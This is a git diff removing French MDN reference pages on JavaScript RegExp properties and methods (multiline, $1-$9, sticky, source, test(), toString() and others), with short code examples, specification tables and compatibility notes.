{{Compat("javascript.builtins.RegExp.leftContext")}}

- -

Voir aussi

- -
    -
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/multiline/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/multiline/index.html deleted file mode 100644 index 4e73d4e5a5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/multiline/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: RegExp.prototype.multiline -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/multiline -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/multiline ---- -
{{JSRef}}
- -

La propriété multiline indique si le drapeau (flag) "m" a été utilisé ou non pour l'expression rationnelle. multiline est une propriété liée à l'instance, accessible en lecture seule.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-multiline.html", "taller")}}
- - - -
{{js_property_attributes(0,0,1)}}
- -

Description

- -

La valeur de multiline est un booléen. Elle vaut true si le drapeau "m" a été utilisé et false sinon. Le flag "m" indique qu'une chaine de caractères qui s'étend sur plusieurs lignes doit être traitée comme une série de ligne. Ainsi, si "m" est utilisé, "^" et "$" ne correspondent plus au début et à la fin de la chaîne mais aux débuts et aux fins de chaque ligne de la chaîne.

- -

Cette propriété ne peut pas être modifiée directement.

- -

Exemples

- -
var regex = new RegExp("toto", "m");
-
-console.log(regex.multiline); // true
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : multiline est une propriété liée à l'instance de {{jsxref("RegExp")}} et non à l'objet RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.4', 'RegExp.prototype.multiline')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}}{{Spec2('ES6')}}multiline est désormais un propriété du prototype sous forme d'accesseur plutôt qu'une propriété directement liée à l'instance.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.multiline")}}

- -

Notes de compatibilité

- -
    -
  • Avant Firefox 48 , une propriété globale non-standard RegExp.multiline existait en plus de la propriété RegExp.prototype.multiline. Elle a été retirée dans les nouvelles versions du moteur (cf. {{bug(1219757)}}). On utilisera la propriété décrite sur cette page ou le marqueur m à la place.
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("RegExp.prototype.global")}}
    • -
  • {{jsxref("RegExp.prototype.lastIndex")}}
    • -
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • -
  • {{jsxref("RegExp.prototype.source")}}
    • -
  • {{jsxref("RegExp.prototype.sticky")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/n/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/n/index.html deleted file mode 100644 index ecbda5eac8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/n/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: RegExp.$1-$9 -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/n -tags: - - JavaScript - - Non-standard - - Propriété - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n ---- -
{{JSRef}} {{non-standard_header}}
- -

Les propriétés non-standard $1, $2, $3, $4, $5, $6, $7, $8, $9 sont des propriétés statiques accessibles en lecture qui contiennent les différents groupes capturés par une expression rationnelle.

- -

Syntaxe

- -
RegExp.$1
-RegExp.$2
-RegExp.$3
-RegExp.$4
-RegExp.$5
-RegExp.$6
-RegExp.$7
-RegExp.$8
-RegExp.$9
-
- -

Description

- -

Les propriétés $1, ..., $9 sont des propriétés statiques. Ce ne sont pas des propriétés rattachées à une expression rationnelle donnée. Pour cette raison, on utilisera toujours la syntaxe RegExp.$1, ..., RegExp.$9.

- -

Les valeurs de ces propriétés ne sont accessibles qu'en lecture et sont modifiées par le moteur à chaque fois qu'une nouvelle correspondance est trouvée.

- -

Le nombre de groupe d'une expression rationnelle n'est pas limité. Cependant, l'objet RegExp ne contient que les neufs premiers groupes. Pour accéder à chacun des groupes liés à une expression rationnelle donnée, on pourra utiliser les indices du tableau relevant les correspondances.

- -

Ces propriétés peuvent être utilisées pour le texte de remplacement de la méthode {{jsxref("String.replace")}}. Avec cette méthode, on ne préfixera pas les valeurs par RegExp (voir l'exemple ci-après), lorsque les parenthèses groupantes ne sont pas utilisées dans l'expression, $n sera interprété littérallement (avec n un entier positif).

- -

Exemples

- -

Dans le script qui suit, on utilise {{jsxref("String.prototype.replace()", "replace()")}} d'une instance de {{jsxref("String")}} pour inverser le premier mot et le dernier et placer une virgule entre. Le script utilise $1 et $2 pour faire référence aux groupes de l'expression rationnelle :

- -
var re = /(\w+)\s(\w+)/;
-var str = 'Jean Biche';
-str.replace(re, '$2, $1'); // "Biche, Jean"
-RegExp.$1; // "Jean"
-RegExp.$2; // "Biche"
-
- -

Spécifications

- -

Ces propriétés ne sont pas standard, elles ne font partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.n")}}

- -

Voir aussi

- -
    -
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/prototype/index.html deleted file mode 100644 index 7a507e9699..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/prototype/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: RegExp.prototype -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/prototype -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp -translation_of_original: Web/JavaScript/Reference/Global_Objects/RegExp/prototype ---- -
{{JSRef}}
- -

La propriété RegExp.prototype représente l'objet prototype pour le constructeur {{jsxref("RegExp")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Voir la page {{jsxref("RegExp")}} qui décrit les instances de RegExp. Chaque instance de RegExp hérite de RegExp.prototype. Toute modification à l'objet prototype est propagée aux instances de RegExp.

- -

Propriétés

- -

Voir également la page sur les propriétés dépréciées de RegExp.

- -

On notera que plusieurs des propriétés de {{jsxref("RegExp")}} ont un nom court et un nom long (semblable aux noms Perl). Le nom court et le nom long font référence à la même propriété. La modélisation des expressions rationnelles JavaScript est basée sur celle de Perl, un autre langage de programmation.

- -
-
RegExp.prototype.constructor
-
Définit la fonction qui crée le prototype d'un objet.
-
{{jsxref("RegExp.prototype.flags")}}
-
Une chaîne qui contient les drapeaux (flags) utilisés pour l'objet RegExp.
-
{{jsxref("RegExp.prototype.dotAll")}}
-
Indique si . peut correspondre à des sauts de ligne.
-
{{jsxref("RegExp.prototype.global")}}
-
Définit si l'expression rationnelle doit relever la première correspondance d'une chaîne ou toutes les correspondances.
-
{{jsxref("RegExp.prototype.ignoreCase")}}
-
Définit si l'expression rationnelle doit ignorer la casse ou non pour détecter une correspondance.
-
{{jsxref("RegExp.prototype.multiline")}}
-
Définit si la recherche de la correspondance s'effectue sur plusieurs lignes ou sur une seule.
-
{{jsxref("RegExp.prototype.source")}}
-
Le texte du motif (pattern) à rechercher.
-
{{jsxref("RegExp.prototype.sticky")}}
-
Définit si la recherche s'effectue uniquement à partir de lastIndex ou non.
-
{{jsxref("RegExp.prototype.unicode")}}
-
Cette propriété indique si les fonctionnalités Unicode sont activées ou non.
-
- -

Méthodes

- -
-
{{jsxref("Regexp.prototype.compile()")}}{{deprecated_inline}}
-
(Re)compile une expression rationnelle lors de l'exécution d'un script.
-
{{jsxref("RegExp.prototype.exec()")}}
-
Exécute une recherche de correspondance sur la chaîne de caractères fournie en paramètre.
-
{{jsxref("RegExp.prototype.test()")}}
-
Teste s'il y a une correspondance dans la chaîne de caractères fournie en paramètre.
-
{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}
-
Teste une correspondance sur une chaîne de caractères donnée et renvoie le résultat du test.
-
{{jsxref("RegExp.prototype.@@matchAll()", "RegExp.prototype[@@matchAll]()")}}
-
Renvoie l'ensemble des correspondances d'une expression rationnelle sur une chaîne.
-
{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}
-
Remplace les correspondances d'une chaîne de caractères avec une nouvelle sous-chaînes.
-
{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}
-
Recherche la correspondance dans une chaîne de caractères donnée et renvoie la position où est trouvé le motif.
-
{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}
-
Découpe une chaîne de caractères en un tableau de sous-chaînes.
-
{{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}
-
Renvoie un littéral objet représentant l'objet spécifié. Cette méthode peut être utilisée pour créer un nouvel objet. Elle surcharge la méthode {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("RegExp.prototype.toString()")}}
-
Renvoie une chaîne de caractères représentant l'objet spécifié. Cette méthode surcharge {{jsxref("Object.prototype.toString()")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale
{{SpecName('ES5.1', '#sec-15.10.5.1', 'RegExp')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-regexp.prototype', 'RegExp.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-regexp.prototype', 'RegExp.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.prototype")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/rightcontext/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/rightcontext/index.html deleted file mode 100644 index 924c4e564d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/rightcontext/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: RegExp.rightContext ($') -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/rightContext -tags: - - JavaScript - - Non-standard - - Propriété - - Reference - - RegExp - - Regular Expressions -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/rightContext ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété non-standard rightContext est une propriété statique, accessible uniquement en lecture, qui contient la sous-chaîne suivant la correspondance la plus récente. RegExp.$' est un alias pour cette propriété.

- -

Syntaxe

- -
RegExp.rightContext
-RegExp["$'"]
-
- -

Description

- -

La propriété rightContext est une propriété statique et n'est pas liée à une instance d'expression rationnelle. Pour cette raison, il faut toujours utiliser la syntaxe RegExp.rightContext ou RegExp["$'"].

- -

La valeur de la propriété rightContext n'est accessible qu'en lecture. Le moteur la modifie à chaque fois qu'une nouvelle correspondance est trouvée.

- -

L'alias ne peut pas être utilisé avec la syntaxe utilisant le point (RegExp.$'). En effet, l'analyseur (parser) attend un début de chaîne du fait de la simple quote, ce qui provoquerait une exception {{jsxref("SyntaxError")}}. Il faut donc utiliser la notation à base de crochets.

- -

Exemples

- -
var re = /coucou/g;
-re.test("coucou monde !");
-RegExp.rightContext; // " monde !"
-RegExp["$'"];       // " monde !"
-
- -

Spécifications

- -

Cette propriété n'est pas standard, elle ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.rightContext")}}

- -

Voir aussi

- -
    -
  • {{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}
    • -
  • {{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/source/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/source/index.html deleted file mode 100644 index 53d8e7a93f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/source/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: RegExp.prototype.source -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/source -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/source ---- -
{{JSRef}}
- -

La propriété source renvoie une chaîne de caractères qui contient le texte du motif à rechercher (pattern), sans les barres obliques (slashes). C'est une propriété en lecture seule liée à l'instance. source ne contient aucun des options ou drapeaux (flags) (tels que "g", "i" ou "m") de l'expression rationnelle.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-source.html")}}
- - - -
{{js_property_attributes(0,0,1)}}
- -

Exemples

- -

Utiliser source

- -
var regex = /totoMachin/ig;
-
-console.log(regex.source); // "totoMachin"
-
- -

Les expressions ratonnelles vides et l'échappement

- -

À partir d'ECMAScript 5, la propriété source ne renvoie plus une chaîne vide pour les expressions rationnelles vides. Elle renvoie la chaîne "(?:)". De plus, les fins de lignes (telles que "\n") sont désormais échappées.

- -
new RegExp().source; // "(?:)"
-
-new RegExp('\n').source === "\n";  // true avant ES5
-new RegExp('\n').source === "\\n"; // true à partir d'ES5
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : source est une propriété de l'instance de {{jsxref("RegExp")}}, ce n'est pas une propriété de l'objet RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.1', 'RegExp.prototype.source')}}{{Spec2('ES5.1')}}source renvoie désormais "(?:)" (et non "") pour les expressions vides. La définition du comportement pour les échappements a été ajoutée.
{{SpecName('ES6', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}}{{Spec2('ES6')}}source est désormais un accesseur lié au prototype plutôt qu'une propriété directement rattachée à l'instance.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.source")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp.prototype.flags")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/sticky/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/sticky/index.html deleted file mode 100644 index 27dc60d802..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/sticky/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: RegExp.prototype.sticky -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/sticky -tags: - - ECMAScript 2015 - - Expressions rationnelles - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/sticky ---- -
{{JSRef}}
- -

La propriété sticky (adhérante) permet de déterminer si la recherche s'effectue uniquement à partir de l'indice {{jsxref("RegExp.lastIndex", "lastIndex")}} lié à l'expression rationnelle ou non). sticky est une propriété accessible en lecture seule, rattachée à l'instance.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-sticky.html")}}
- - - -
{{js_property_attributes(0,0,1)}}
- -

Description

- -

La propriété sticky est un booléen qui vaut true si le marqueur (flag) "y" a été utilisé, false sinon. Ce marqueur indique que les correspondances ne sont recherchées qu'à partir de l'indice {{jsxref("RegExp.lastIndex", "lastIndex")}} au niveau de la chaîne de caractères (les correspondances à partir des autres positions ne seront pas trouvées). Lorsqu'une expression rationnelle qui utilise le marqueur sticky et le marqueur global ignorera le marqueur global.

- -

La propriété sticky ne peut pas être modifiée directement. Elle est uniquement en lecture seule.

- -

Exemples

- -

Utiliser une expression rationnelle avec le flag sticky

- -
var str = '#toto#';
-var regex = /toto/y;
-
-regex.lastIndex = 1;
-regex.test(str); // true
-regex.lastIndex = 5;
-regex.test(str); // false (lastIndex est pris en compte avec sticky)
-regex.lastIndex; // 0 (on rénitialise après un échec)
-
- -

Marqueur d'adhérence « ancré »

- -

Pendant plusieurs versions, le moteur JavaScript de Firefox, SpiderMonkey, avait un bug qui entraînait des correspondances invalides lorsqu'étaient utilisés le marqueur d'adhérence et le symbole ^ dans l'expression rationnelle. Ce bug est apparu peu après Firefox 3.6. Afin d'éviter ce bug, la spécification ES2015 indique spécifiquement que, lorsque le marqueur y est utilisé avec un motif commençant par ^, ce dernier doit correspondre au début de la chaine (ou, si multiline vaut true, au début de la ligne). Les exemples qui suivent illustrent le comportement correct :

- -
var regex = /^foo/y;
-regex.lastIndex = 2; // désactive la correspondance au début
-regex.test("..foo"); // false
-
-var regex2 = /^foo/my;
-regex2.lastIndex = 2;
-regex2.test("..foo"); // false
-regex2.lastIndex = 2;
-regex2.test(".\nfoo"); // true
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationEtatCommentaires
{{SpecName('ES2015', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.sticky")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp.prototype.global")}}
    • -
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • -
  • {{jsxref("RegExp.prototype.lastIndex")}}
    • -
  • {{jsxref("RegExp.prototype.multiline")}}
    • -
  • {{jsxref("RegExp.prototype.source")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/test/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/test/index.html deleted file mode 100644 index a68e3eb976..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/test/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: RegExp.prototype.test() -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/test -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test ---- -
{{JSRef}}
- -

La méthode test() vérifie s'il y a une correspondance entre un texte et une expression rationnelle. Elle retourne true en cas de succès et false dans le cas contraire.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-test.html", "taller")}}
- - - -

Syntaxe

- -
regexObj.test(chaîne)
- -

Paramètres

- -
-
chaîne
-
La chaîne de caractères qu'on souhaite comparer à l'expression rationnelle.
-
- -

Valeur de retour

- -

Un booléen : true ou false selon qu'une correspondance a été trouvée entre la chaîne de caractères et la chaîne passée en argument.

- -

Description

- -

On utilisera test() dès qu'on souhaite savoir si une partie d'une chaîne de caractères correspond à une expression rationnelle (similaire à la méthode {{jsxref("String.prototype.search()")}}). Pour obtenir plus d'informations (mais une exécution moins rapide), on utilisera la méthode {{jsxref("RegExp.prototype.exec()", "exec()")}} (similaire à la méthode {{jsxref("String.prototype.match()")}}). Comme avec {{jsxref("RegExp.prototype.exec()", "exec()")}} (et même en combinant les deux), des appels successifs à test() sur une même instance d'une expression rationnelle permettent de rechercher après la dernière occurence. Cette méthode est différente de search car elle renvoie un booléen et non la position de la correspondance si elle est trouvée (ou -1 sinon).

- -

Exemples

- -

Utiliser test()

- -

Voici un exemple simple qui illustre comment détecter si la chaîne coucou est contenue au début d'une chaîne :

- -
const chaine = "coucou le monde !";
-const resultat = /^coucou/.test(chaine);
-console.log(resultat); // true
-
- -

L'exemple ci-dessous affiche un message qui dépend du succès du test :

- -
function testinput(regex, chaine){
-    var midstring;
-    if (regex.test(chaine)) {
-        midstring = " contient ";
-    } else {
-        midstring = " ne contient pas ";
-    }
-    console.log(str + midstring + re.source);
-}
-
-testinput(/^coucou/, "coucou le monde"); // coucou le monde contient coucou
-testinput(/^coucou/, "salut le monde") // salut le monde ne contient pas coucou
-
- -

Utiliser test() avec le marqueur global (/g)

- -

Si l'expression rationnelle utilise le marqueur global (g), la méthode test() avancera la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} associée à l'expression rationnelle. Ainsi, si on utilise test() ensuite, la recherche commencera à partir de la nouvelle valeur de lastIndex (de même {{jsxref("RegExp.prototype.exec()","exec()")}} fera également avancer la propriété lastIndex). On notera que la propriété lastIndex ne sera pas réinitialisée si la recherche est effectuée sur une autre chaîne de caractères.

- -
var regex = /toto/g;
-
-// regex.lastIndex se situe à 0
-regex.test("toto"); // true
-
-// regex.lastIndex se situe désormais à 4
-regex.test("toto"); // false
-
- -

Avec le même mécanisme, on peut utiliser une boucle pour compter le nombre de mots contenus dans une chaîne de caractères

- -
function compterMots(texte) {
-  for (var regex = /\w+/g, nbMots = 0; regex.test(texte); nbMots++);
-  return nbMots;
-}
-
-console.log(compterMots("Ah que coucou Bob")); // 4
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.10.6.3', 'RegExp.test')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-regexp.prototype.test', 'RegExp.test')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-regexp.prototype.test', 'RegExp.test')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.test")}}

- -

Notes spécifiques à Firefox

- -

Pour les versions antérieures à Firefox 8.0, l'implémentation de test() était erronée. Quand la méthode était appelée sans aucun paramètre, elle effectuait son test par rapport à la dernière entrée (la propriété RegExp.input) et non par rapport à la chaîne "undefined". Ce comportement a été corrigé  ; désormais /undefined/.test() retourne bien true au lieu d'une erreur.

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/tosource/index.html deleted file mode 100644 index 976fb23117..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/tosource/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: RegExp.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/toSource -tags: - - JavaScript - - Méthode - - Non-standard - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toSource ---- -
{{JSRef}}{{non-standard_header}}
- -

La méthode toSource() permet de renvoyer une chaîne de caractères représentant le code source de l'objet.

- -

Syntaxe

- -
objetRegExp.toSource()
-
- -

Valeur de retour

- -

Une chaîne de caractères représentant le code source de l'objet {{jsxref("RegExp")}}.

- -

Description

- -

La méthode toSource renvoie les valeurs suivantes :

- -
    -
  • Pour l'objet natif {{jsxref("RegExp")}}, toSource() renvoie la chaîne de caractères suivante, indiquant que le code source n'est pas disponible : - - 
    function RegExp() {
-    [native code]
-}
-
    -
    • -
  • Pour les instances de {{jsxref("RegExp")}}, toSource() renvoie une chaîne de caractères indiquant le code source de l'objet.
    • -
- -

Cette méthode est généralement utilisée de façon interne au moteur JavaScript, elle n'est pas censée être utilisée dans du code JavaScript classique.

- -

Spécifications

- -

Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.toSource")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/tostring/index.html deleted file mode 100644 index a06f740075..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/tostring/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: RegExp.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/toString -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaîne de caractères représentant l'expression rationnelle.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-tostring.html", "taller")}}
- - - -

Syntaxe

- -
regexObj.toString();
- -

Valeur de retour

- -

Une chaîne de caractères représentant l'expression rationnelle appelante.

- -

Description

- -

L'objet {{jsxref("RegExp")}} surcharge la méthode toString de l'objet {{jsxref("Object")}}. Il n'hérite donc pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets RegExp, la méthode toString() renvoie une représentation de l'expression rationnelle sous la forme d'une chaîne de caractères.

- -

Exemples

- -

Utiliser toString()

- -

L'exemple qui suit affiche la chaîne correspondant à la valeur de l'objet {{jsxref("Global_Objects/RegExp", "RegExp")}} :

- -
var maRegExp = new RegExp("a+b+c");
-console.log(maRegExp.toString());  // affiche "/a+b+c/"
-
-var toto = new RegExp("truc", "g");
-console.log(toto.toString());      // affiche "/truc/g"
-
- -

Les expressions ratonnelles vides et l'échappement

- -

À partir d'ECMAScript 5, la méthode renvoie la chaîne "(?:)" pour les expressions vides. De plus, les fins de lignes (telles que "\n") sont désormais échappées.

- -
new RegExp().toString(); // "(?:)"
-
-new RegExp('\n').toString() === "/\n/";  // true avant ES5
-new RegExp('\n').toString() === "/\\n/"; // true à partir d'ES5
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.9.5.2', 'RegExp.prototype.toString')}}{{Spec2('ES5.1')}}source renvoie désormais "(?:)" (et non "") pour les expressions vides. La définition du comportement pour les échappements a été ajoutée.
{{SpecName('ES6', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.toString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/unicode/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/unicode/index.html deleted file mode 100644 index e4400b5f35..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/unicode/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: RegExp.prototype.unicode -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/unicode -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp - - Regular Expressions -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/unicode ---- -
{{JSRef}}
- -

La propriété unicode indique si le drapeau "u" a été utilisé avec l'expression rationnelle. unicode est une propriété en lecture seule et liée à une instance d'expression rationnelle.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-unicode.html", "taller")}}
- - - -
{{js_property_attributes(0, 0, 1)}}
- -

Description

- -

La valeur d'unicode est un {{jsxref("Boolean")}} et vaut true si le drapeau "u" a été utilisé, sinon false. Le drapeau "u" permet d'activer les fonctionnalités liées à Unicode. En utilisant le drapeau "u" toute séquence d'échappement représentant un codet Unicode sera interprétée comme telle.

- -

Cette propriété ne peut pas être modifiée directement.

- -

Exemples

- -
var regex = new RegExp('\u{61}', 'u');
-
-console.log(regex.unicode); // true
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.unicode")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp.lastIndex")}}
    • -
  • {{jsxref("RegExp.prototype.global")}}
    • -
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • -
  • {{jsxref("RegExp.prototype.multiline")}}
    • -
  • {{jsxref("RegExp.prototype.source")}}
    • -
  • {{jsxref("RegExp.prototype.sticky")}}
    • -
